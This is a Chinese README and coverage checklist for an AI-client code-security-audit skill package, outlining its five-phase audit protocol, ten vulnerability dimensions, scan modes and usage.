- **9 种语言**: Java, Python, Go, PHP, JavaScript/Node.js, C/C++, .NET/C#, Ruby, Rust
- **10 个安全维度**: 注入、认证、授权、反序列化、文件操作、SSRF、加密、配置、业务逻辑、供应链
- **双轨审计模型**: Sink-driven（注入/RCE）+ Control-driven（授权/业务逻辑）+ Config-driven（配置/加密）
- **五阶段审计协议**: 侦察 → 模式匹配 → 污点追踪 → 验证 → 报告
- **丰富案例库**: 基于 WooYun 真实漏洞案例（2010-2016）

---

## 快速开始

### 安装

将本 Skill 复制到 AI 客户端的 skills 目录：

```bash
# Claude Code
cp -r dfyx_code_security_review ~/.claude/skills/

# Trae
# 将文件夹复制到 Trae 的 skills 目录（具体路径取决于 Trae 版本）
```

### 触发方式

在 AI 客户端中，通过以下方式触发审计：

```
"审计这个项目"
"检查代码安全"
"找出安全漏洞"
"/audit" 或 "/code-audit"
```

### 使用示例

**用户**: 
```
请审计 /path/to/project 项目的代码安全
```

**AI 响应**:
```
[MODE] deep
[RECON] 识别技术栈: PHP + MySQL + ProcessWire
[PLAN] 启动 3 个 Agent, D1-D10 覆盖
[SCOPE] 预估 50 turns, 发现 5-10 个漏洞
确认开始审计? (yes/no)
```

---

## 文档结构

```
dfyx_code_security_review/
├── SKILL.md                          # 核心技能文档（入口文件）
├── README.md                         # 本文件
├── requirements.txt                  # Python 依赖
├── resources/                        # 核心资源
│   ├── knowledge/                    # 知识库（13个文档）
│   │   ├── architecture_analysis.md      # Phase 1: 架构分析
│   │   ├── pattern_scanning.md           # Phase 2: 模式扫描
│   │   ├── data_flow_analysis.md         # Phase 3: 数据流分析
│   │   ├── taint_analysis_enhanced.md    # 增强污点分析
│   │   ├── vulnerability_validation.md   # Phase 4: 漏洞验证
│   │   ├── attack_chain_analysis.md      # 攻击链分析
│   │   ├── reporting.md                  # Phase 5: 报告生成
│   │   ├── secret_detection.md           # 敏感信息检测
│   │   ├── dependency_analysis.md        # 依赖分析
│   │   ├── anti_hallucination.md         # 防幻觉机制
│   │   ├── docker_verification.md        # Docker 验证
│   │   ├── phase2_deep_methodology.md    # Phase 2 深度方法论
│   │   └── security_controls_matrix.yaml # 安全控制矩阵
│   ├── checklists/                   # 检查清单
│   │   ├── architecture_level_checklist.md
│   │   ├── code_level_checklist.md
│   │   └── coverage_matrix.md
│   ├── rules/                        # 漏洞检测规则
│   │   ├── command_injection_rules.md
│   │   └── sql_injection_rules.md
│   ├── wooyun/                       # WooYun 漏洞案例库
│   │   └── wooyun_cases_by_vulnerability_type.md
│   ├── tools/                        # 工具说明
│   │   └── security_tools.md
│   └── compliance/                   # 合规框架
│       └── compliance_frameworks.md
├── scripts/                          # 辅助脚本（7个）
│   ├── code_scan.py                  # 主扫描入口
│   ├── pattern_scanner.py            # 模式扫描
│   ├── data_flow_analyzer.py         # 数据流分析
│   ├── secret_finder.py              # 敏感信息检测
│   ├── dependency_analyzer.py        # 依赖分析
│   ├── vulnerability_validator.py    # 漏洞验证
│   └── report_generator.py           # 报告生成
├── templates/                        # 报告模板
│   ├── report-templates/
│   │   └── web-app-report-template.md    # Web应用报告模板
│   ├── architecture_diagram_templates.md
│   └── reproduction_steps_template.md
└── examples/                         # 案例与示例
    ├── audit_examples.md             # 审计示例
    ├── vulnerability_cases.md        # 漏洞案例库
    ├── vulnerability_analysis.md     # 漏洞分析方法
    ├── detailed_vulnerability_chains.md  # 攻击链与POC
    ├── config_file_vulnerabilities.md    # 配置文件漏洞
    └── environment_simulation.md     # 环境模拟
```

---

## 核心概念

### 五阶段标准化审计协议

```
Phase 1: 侦察与绘图 (10%)
    ↓ 产出: 架构图、攻击面清单
Phase 2: 并行模式匹配 (30%)
    ↓ 产出: 高风险区域清单
Phase 3: 深度污点追踪与实际测试验证 (40%)
    ↓ 产出: 确认的漏洞清单、实际测试验证报告
Phase 4: 验证与攻击链构建 (15%)
    ↓ 产出: 漏洞验证报告
Phase 5: 结构化报告 (5%)
    ↓ 产出: 完整审计报告
```

### 双轨审计模型

| 轨道 | 维度 | 方法 | 发现目标 |
|------|------|------|----------|
| **Sink-driven** | D1 注入、D4 反序列化、D5 文件、D6 SSRF | Grep 危险函数 → 追踪数据流 → 验证无防护 | 存在的危险代码 |
| **Control-driven** | D3 授权、D9 业务逻辑 | 枚举端点 → 验证安全控制是否存在 → 缺失=漏洞 | 缺失的安全控制 |
| **Config-driven** | D2 认证、D7 加密、D8 配置、D10 供应链 | 搜索配置 → 对比安全基线 | 错误配置 |

### 10 个安全维度

| # | 维度 | 覆盖内容 |
|---|------|---------|
| D1 | 注入 | SQL/Cmd/LDAP/SSTI/SpEL/JNDI |
| D2 | 认证 | Token/Session/JWT/Filter 链 |
| D3 | 授权 | CRUD 权限一致性、IDOR、水平越权 |
| D4 | 反序列化 | Java/Python/PHP Gadget 链 |
| D5 | 文件操作 | 上传/下载/路径遍历 |
| D6 | SSRF | URL 注入、协议限制 |
| D7 | 加密 | 密钥管理、加密模式、KDF |
| D8 | 配置 | Actuator、CORS、错误信息暴露 |
| D9 | 业务逻辑 | 竞态条件、Mass Assignment、状态机、多租户隔离 |
| D10 | 供应链 | 依赖 CVE、版本检查 |

---

## 扫描模式

| 模式 | 适用场景 | 范围 | 时间 |
|------|----------|------|------|
| **Quick** | CI/CD、小项目 | 高危漏洞、敏感信息、依赖 CVE | 5-10 min |
| **Standard** | 常规审计 | OWASP Top 10、认证授权、加密 | 30-60 min |
| **Deep** | 重要项目、渗透测试准备 | 全覆盖、攻击链、业务逻辑 | 1-3 hours |

---

## 使用流程

### 1. 启动审计

在 AI 客户端中输入：
```
请审计 /path/to/project 项目的代码安全
```

### 2. 确认审计计划

AI 会输出审计计划，确认后开始：
```
[MODE] deep
[RECON] 874 文件, Spring Boot 1.5 + Shiro 1.6 + JPA + Freemarker
[PLAN] 5 个 Agent, D1-D10 覆盖, 预估 125 turns
... (用户确认) ...
[REPORT] 10 Critical, 14 High, 12 Medium, 4 Low
```

### 3. 查看报告

审计完成后，AI 会生成：
- **安全审计报告** (Markdown)
- **漏洞详情**（包含代码片段、数据流图、修复建议）
- **攻击链分析**（漏洞组合利用场景）

---

## 辅助脚本（可选）

虽然 Skill 主要通过 AI 客户端使用，但也提供了 Python 辅助脚本：

```bash
# 安装依赖
pip install -r requirements.txt

# 代码扫描
python scripts/code_scan.py /path/to/project

# 生成报告
python scripts/report_generator.py --input results.json --output report.md
```

---

## 报告模板

提供标准化的报告模板：

- **快速版**: 适合日常审计、CI/CD集成
- **完整版**: 适合深度审计、渗透测试准备

模板位置：`templates/report-templates/web-app-report-template.md`

---

## 最佳实践

### 审计前准备
- 确保代码完整可访问
- 了解项目基本功能
- 确认审计范围

### 审计中配合
- 及时回答 AI 的澄清问题
- 提供额外的上下文信息
- 确认关键发现

### 审计后跟进
- 验证修复方案可行性
- 安排漏洞修复优先级
- 建立定期审计机制

---

## 常见问题

### Q1: 这个 Skill 和传统的 SAST 工具有什么区别？

**A**: 传统 SAST 工具依赖预定义规则，误报率高。本 Skill 结合 AI 的推理能力和专家知识库，能够：
- 理解业务逻辑，发现规则无法覆盖的漏洞
- 追踪复杂的数据流，识别多阶段攻击
- 提供具体可操作的修复建议

### Q2: 支持哪些编程语言和框架？

**A**: 支持 9 种语言和 14 种框架：
- **语言**: Java, Python, Go, PHP, JavaScript/Node.js, C/C++, .NET/C#, Ruby, Rust
- **框架**: Spring Boot, Django, Flask, FastAPI, Express, Koa, Gin, Laravel, Rails, ASP.NET Core, Rust Web, NestJS/Fastify, MyBatis

### Q3: 审计过程需要多长时间？

**A**: 取决于项目规模和审计模式：
- Quick 模式：5-10 分钟
- Standard 模式：30-60 分钟
- Deep 模式：1-3 小时

### Q4: 如何减少误报？

**A**: 本 Skill 采用多层验证机制：
- 静态分析 + 动态测试验证
- 多 Agent 交叉验证
- 实际测试验证（POC）
- 防幻觉机制（证据要求、路径完整、实际测试）

### Q5: 发现漏洞后如何修复？

**A**: 审计报告包含：
- 漏洞代码和修复代码对比
- 多种修复方案（推荐方案 + 备选方案）
- 修复验证方法
- 优先级建议

---

## 贡献指南

欢迎贡献漏洞案例、改进建议或修复方案：

1. Fork 本项目
2. 创建特性分支
3. 提交更改
4. 创建 Pull Request

### 贡献内容

- **漏洞案例**: 添加到 `examples/vulnerability_cases.md`
- **检测规则**: 添加到 `resources/rules/`
- **知识文档**: 添加到 `resources/knowledge/`

---

## 许可证

MIT License

---

## 联系方式

- 提交 Issue
- 邮件: [REDACTED_SECRET]]

---

**注意**: 本 Skill 仅供安全研究和教育目的，请勿用于非法用途。



path: resources/checklists/coverage-matrix.md
content: # Security Coverage Matrix (审计后自检）

> Phase 2A（LLM 自由审计）完成后，对照此矩阵验证维度覆盖。
> 未覆盖维度需加载 `{language}.md` 中对应维度的语义提示并补充审计。

| # | 维度 | 关键问题 | 已覆盖? | 发现数 |
|---|------|---------|---------|--------|
| D1 | 注入 | 用户输入是否能到达 SQL/Cmd/LDAP/SSTI/SpEL 执行点？ | [ ] | |
| D2 | 认证 | Token/Session 生成、验证、过期是否完整？密钥是否安全？ | [ ] | |
| D3 | 授权 | 每个敏感操作是否验证用户归属？CRUD 权限是否一致？ | [ ] | |
| D4 | 反序列化 | 是否存在不受信数据的反序列化？Gadget 链是否可达？ | [ ] | |
| D5 | 文件操作 | 上传/下载/读取路径是否可控？是否有路径遍历？ | [ ] | |
| D6 | SSRF | 服务端 HTTP 请求的 URL 是否用户可控？协议是否限制？ | [ ] | |
| D7 | 加密 | 硬编码密钥/IV？ECB/CBC-no-MAC？弱KDF？RSA-PKCS1v1.5？证书校验绕过？ | [ ] | |
| D8 | 配置 | 调试接口(Actuator/pprof)是否暴露？CORS 是否过宽？错误堆栈是否泄露？ | [ ] | |
| D9 | 业务逻辑 | 竞态条件？支付金额可篡改？流程可跳过？Mass Assignment？IDOR/水平越权？CRUD 权限注解完整性？数据导出范围？ | [ ] | |
| D10 | 供应链 | 依赖是否有已知 CVE？版本是否在安全范围？ | [ ] | |

## 使用规则

- **未覆盖维度** → 加载 `resources/checklists/{language}.md` 中对应 `## D{N}` 段落的语义提示，补充审计
- **Critical 维度** (D1-D6) 必须全部覆盖
- **High 维度** (D7-D8) 强烈建议覆盖
- **High 维度** (D9) 有后台管理/多角色/多租户/支付逻辑的项目必查
- **Medium 维度** (D10) 按项目类型可选（有外部依赖则 D10 必查）

## 覆盖标准（按审计策略分轨）

### Sink-driven 维度 (D1, D4, D5, D6)
- **已覆盖** = 核心 Sink 类别均被搜索 + 有数据流追踪 + Sink 扇出率 ≥ 30%
- **浅覆盖** = 搜索过但 Sink 类别有遗漏 / 仅 Grep 未追踪 / 扇出率 < 30%
- **未覆盖** = 该维度未被任何 Agent 搜索

### Control-driven 维度 (D3, D9)
- **已覆盖** = 端点审计率 ≥ 50%(deep) / ≥ 30%(standard) + 至少 3 种资源类型执行了 CRUD 权限一致性对比
- **浅覆盖** = 仅 Grep 搜索 pattern 但未系统枚举端点验证（⚠️ 仅靠 sink-driven 搜索 D3/D9 不算覆盖）
- **未覆盖** = 未执行 Control-driven 审计
- **D3/D9 Agent 必须加载** `resources/knowledge/phase2_deep_methodology.md` Phase 2.5-2.6

### Config-driven 维度 (D2, D7, D8, D10)
- **已覆盖** = 核心配置项均已检查 + 版本/算法已对比安全基线
- **浅覆盖** = 仅检查了部分配置 / 未深入验证
- **未覆盖** = 该维度未被任何 Agent 检查

## 终止判定

- 覆盖矩阵 ≥ 8/10 维度 AND 发现 ≥ 10 → 可进入 REPORT
- 覆盖矩阵 < 5/10 → 必须补充审计
- D1-D3 任一未覆盖 → 不可进入 REPORT（注入+认证+授权是核心三角）


path: _meta.json
content: name: dfyx_code_security_review
version: 1.0.1
description: 高级白盒安全审计专家 - 代码安全审计工具
author: adminlove520

Security scan verdicts — ClawScan: clean | static analysis:  | VirusTotal: suspicious | SkillSpector:  ()